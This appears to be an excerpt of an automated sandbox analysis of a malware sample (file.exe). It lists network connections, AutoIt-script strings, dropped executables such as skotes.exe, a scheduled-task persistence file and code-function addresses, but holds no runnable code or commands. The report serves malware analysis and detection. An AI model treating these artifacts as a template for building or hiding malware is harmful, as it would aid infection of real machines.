Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54615
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54619
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 54578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54610
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54612
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54627
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 54615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54623
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54622
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54638
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54637
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54632
Source: unknown	Network traffic detected: HTTP traffic on port 54637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54634
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54633
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54643
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54644
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54497
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 54584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 54517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 54623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 54529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 54621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54643 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 54538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.214.206.19:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.214.206.19:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.7:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.7:54551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.7:54556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.7:54567 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.7:54580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:54606 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:54608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:54607 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:54622 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:54634 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54641 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 38e11d9cb7.exe.32.dr	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_2e0599b3-5
Source: 38e11d9cb7.exe.32.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_2d1d5b95-3

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name:
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name: .idata
Source: skotes.exe.28.dr	Static PE information: section name:
Source: dd3583c805.exe.32.dr	Static PE information: section name:
Source: dd3583c805.exe.32.dr	Static PE information: section name: .idata
Source: dd3583c805.exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: ff628321ee.exe.32.dr	Static PE information: section name:
Source: ff628321ee.exe.32.dr	Static PE information: section name: .idata
Source: ff628321ee.exe.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: .idata
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: ef7381e244.exe.32.dr	Static PE information: section name:
Source: ef7381e244.exe.32.dr	Static PE information: section name: .idata
Source: ef7381e244.exe.32.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsFIDGDAKFHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE0ECC0	1_2_6CE0ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6ECD0	1_2_6CE6ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE1AC60	1_2_6CE1AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEAC30	1_2_6CEEAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED6C00	1_2_6CED6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF9CDC0	1_2_6CF9CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE14DB0	1_2_6CE14DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA6D90	1_2_6CEA6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDED70	1_2_6CEDED70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF3AD50	1_2_6CF3AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF98D20	1_2_6CF98D20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE1AEC0	1_2_6CE1AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB0EC0	1_2_6CEB0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE96E90	1_2_6CE96E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAEE70	1_2_6CEAEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEF0E20	1_2_6CEF0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE10FE0	1_2_6CE10FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEEFF0	1_2_6CEEEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF58FB0	1_2_6CF58FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE1EFB0	1_2_6CE1EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED2F70	1_2_6CED2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE7EF40	1_2_6CE7EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF50F20	1_2_6CF50F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE16F10	1_2_6CE16F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF168E0	1_2_6CF168E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE4840	1_2_6CEE4840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE60820	1_2_6CE60820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9A820	1_2_6CE9A820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF2C9E0	1_2_6CF2C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE449F0	1_2_6CE449F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA09A0	1_2_6CEA09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECA9A0	1_2_6CECA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED09B0	1_2_6CED09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE48960	1_2_6CE48960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE66900	1_2_6CE66900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8EA80	1_2_6CE8EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8CA70	1_2_6CE8CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC8A30	1_2_6CEC8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEBEA00	1_2_6CEBEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF16BE0	1_2_6CF16BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB0BA0	1_2_6CEB0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE564D0	1_2_6CE564D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAA4D0	1_2_6CEAA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF3A480	1_2_6CF3A480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE28460	1_2_6CE28460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE74420	1_2_6CE74420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9A430	1_2_6CE9A430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDA5E0	1_2_6CEDA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9E5F0	1_2_6CE9E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE045B0	1_2_6CE045B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE72560	1_2_6CE72560
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB0570	1_2_6CEB0570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF58550	1_2_6CF58550
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE68540	1_2_6CE68540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF14540	1_2_6CF14540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6E6E0	1_2_6CE6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAE6E0	1_2_6CEAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE346D0	1_2_6CE346D0
